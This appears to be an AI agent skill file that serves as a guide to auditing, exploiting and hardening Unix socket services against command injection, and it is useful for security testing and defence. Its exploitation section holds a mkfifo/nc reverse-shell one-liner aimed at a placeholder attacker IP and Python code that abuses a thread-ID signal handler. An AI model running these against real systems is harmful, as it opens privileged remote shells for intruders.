socket-command-injection

name

socket-command-injection

description

Identify, test, and exploit socket command injection vulnerabilities in Unix socket-based services. Use this skill whenever you need to audit Unix sockets for command injection flaws, analyze socket-based privilege escalation vectors, or harden socket services against injection attacks. Trigger this skill for any task involving Unix socket security, socket vulnerability assessment, or socket-based privilege escalation research.

Socket Command Injection Security Skill

A skill for identifying, testing, and mitigating socket command injection vulnerabilities in Unix socket-based services.

When to Use This Skill

Use this skill when:

• Auditing Unix socket services for security vulnerabilities
• Testing for command injection via socket input
• Analyzing socket-based privilege escalation vectors
• Hardening socket services against injection attacks
• Investigating socket-related security incidents
• CTF challenges involving socket exploitation

Understanding Socket Command Injection

Socket command injection occurs when a service accepts untrusted input through a Unix socket and executes it without proper validation. This is particularly dangerous when:

• The socket is owned by a privileged user (root)
• Input is passed directly to os.system(), exec(), or similar functions
• The socket permissions allow unprivileged users to connect

Detection and Analysis

Step 1: Enumerate Unix Sockets

First, identify all Unix sockets on the system:

# List all Unix sockets
netstat -a -p --unix | grep LISTENING

# Alternative with ss
ss -x -l -p

# Find socket files
find /tmp /var/run /run -type s 2>/dev/null

# Check socket permissions
ls -la /tmp/*.s /var/run/*.sock 2>/dev/null

Step 2: Analyze Socket Ownership and Permissions

# Check who owns the socket and who can connect
ls -la /path/to/socket

# Check if socket is world-writable
stat -c '%a %U:%G %n' /path/to/socket

Red flags:

• Socket owned by root but world-writable (permissions 666 or 777)
• Socket in world-writable directory (like /tmp)
• Socket accepting connections from unprivileged users

Step 3: Probe for Command Injection

Use the socket-probe.sh script to test for injection:

./scripts/socket-probe.sh /path/to/socket

Or manually test with socat:

# Basic command injection test
echo "id" | socat - UNIX-CLIENT:/path/to/socket

# More aggressive test
echo "whoami; id; uname -a" | socat - UNIX-CLIENT:/path/to/socket

# Test with different delimiters
echo -e "id\nwhoami" | socat - UNIX-CLIENT:/path/to/socket

Exploitation Patterns

Pattern 1: Direct Command Execution

When a socket service executes received data directly:

# Vulnerable pattern to look for
os.system(datagram)
exec(datagram)
subprocess.call(datagram, shell=True)

Exploitation:

# Simple command execution
echo "id" | socat - UNIX-CLIENT:/path/to/socket

# Reverse shell
echo "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> <PORT> > /tmp/f" | socat - UNIX-CLIENT:/path/to/socket

Pattern 2: Thread ID Signal Injection

Some services use thread IDs from unprivileged clients to trigger privileged operations:

# Vulnerable pattern
import socket, struct, os, threading

# Service accepts TID from client and signals it
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/path/to/socket")
tid = struct.unpack('<L', s.recv(4))[0]
os.kill(tid, signal)  # Privileged signal sent to client-controlled TID

Exploitation:

import socket, struct, os, threading, time

# Create a thread we control
th = threading.Thread(target=time.sleep, args=(600,))
th.start()
tid = th.native_id

# Send our TID to the privileged service
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/path/to/socket")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4)  # sync

# Trigger the privileged handler
os.kill(tid, 4)  # SIGILL or other signal

Pattern 3: Socket Permission Escalation

When socket permissions are misconfigured:

# Check if socket is world-writable
ls -la /path/to/socket

# If world-writable, try to connect and inject
socat - UNIX-CLIENT:/path/to/socket

Hardening Recommendations

1. Socket Permissions

# Restrict socket permissions
chmod 600 /path/to/socket
chown root:root /path/to/socket

# Use a non-world-writable directory
mkdir -p /var/run/secure-sockets
chmod 750 /var/run/secure-sockets

2. Input Validation

# Instead of:
os.system(datagram)

# Use:
import shlex
import subprocess

# Whitelist allowed commands
ALLOWED_COMMANDS = ['status', 'version', 'health']

if datagram.decode() in ALLOWED_COMMANDS:
    subprocess.run([datagram.decode()], capture_output=True)
else:
    raise ValueError("Command not allowed")

3. Authentication and Authorization

# Implement socket authentication
import socket
import os

def check_credentials(conn):
    # Get peer credentials
    peercred = conn.getsockopt(socket.SOL_SOCKET, socket.SO_PEERCRED, 12)
    uid = struct.unpack('i', peercred[:4])[0]
    
    # Only allow root or specific users
    if uid not in [0, 1000]:
        conn.close()
        return False
    return True

4. Avoid Shell Execution

# Bad:
os.system(user_input)

# Good:
import subprocess

# Use argument lists, not shell=True
subprocess.run(['command', 'arg1', 'arg2'], capture_output=True)

Testing Checklist

Use the socket-hardening-check.sh script to audit socket services:

./scripts/socket-hardening-check.sh /path/to/socket

Manual checklist:

• Socket is not world-writable
• Socket is in a secure directory
• Input is validated before execution
• No shell=True in subprocess calls
• Authentication is required
• Privileged operations are decoupled from client input
• Thread IDs from clients are not used for privileged operations
• Signals are not sent to client-controlled TIDs

Common Vulnerable Patterns

Pattern	Risk	Mitigation
os.system(socket_input)	Critical	Use subprocess with argument lists
exec(socket_input)	Critical	Never execute untrusted input
subprocess.call(input, shell=True)	Critical	Remove shell=True
World-writable socket	High	Restrict permissions to 600
Socket in /tmp	Medium	Use /var/run or private directory
TID from client for signals	High	Validate TID ownership

References

• LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover
• Unix Domain Socket Security
• Socat Manual

Quick Start

# 1. Find sockets
netstat -a -p --unix | grep LISTENING

# 2. Test for injection
echo "id" | socat - UNIX-CLIENT:/path/to/socket

# 3. Run hardening check
./scripts/socket-hardening-check.sh /path/to/socket

Notes

• Always have authorization before testing socket services
• Socket command injection is rare in production but common in CTFs
• Focus on socket permissions and input validation for hardening
• Thread ID injection is a sophisticated attack vector requiring careful analysis